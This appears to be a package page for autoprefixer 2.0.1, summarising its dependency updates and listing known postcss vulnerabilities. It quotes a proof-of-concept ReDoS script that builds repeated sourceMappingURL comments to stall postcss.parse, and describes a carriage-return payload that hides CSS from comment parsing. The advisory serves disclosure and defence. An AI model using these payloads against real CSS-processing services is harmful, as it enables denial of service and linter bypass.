Autoprefixer version 2.0.1 represents a minor update over its predecessor, version 2.0.0, focusing primarily on dependency enhancements and bug fixes. Both versions serve the core function of parsing CSS and automatically adding vendor prefixes, leveraging data from the "Can I Use" website to ensure compatibility across various browsers. This automation simplifies cross-browser compatibility efforts for web developers.
A key difference lies in the updated "caniuse-db" dependency, moving from version "^1.0.20140622" in 2.0.0 to "^1.0.20140626" in 2.0.1. This indicates an update to the browser compatibility data, ensuring autoprefixer uses the most current information available which translates to better support for new technologies. Additionally, the developer dependency "browserify" was updated in version 2.0.1 to version 4.2.0 from 4.1.11.
Developers should always aim to use the most recent stable release, so the update to 2.0.1 can be seen as necessary to keep up with browser standards. These incremental updates are crucial for maintaining accurate and comprehensive prefixing, minimizing potential compatibility issues and ensuring a consistent user experience across different browsers. Autoprefixer remains a valuable tool for streamlining CSS development and reducing the burden of manual vendor prefix management. The library is licensed under MIT license.
All the vulnerabilities related to the version 2.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.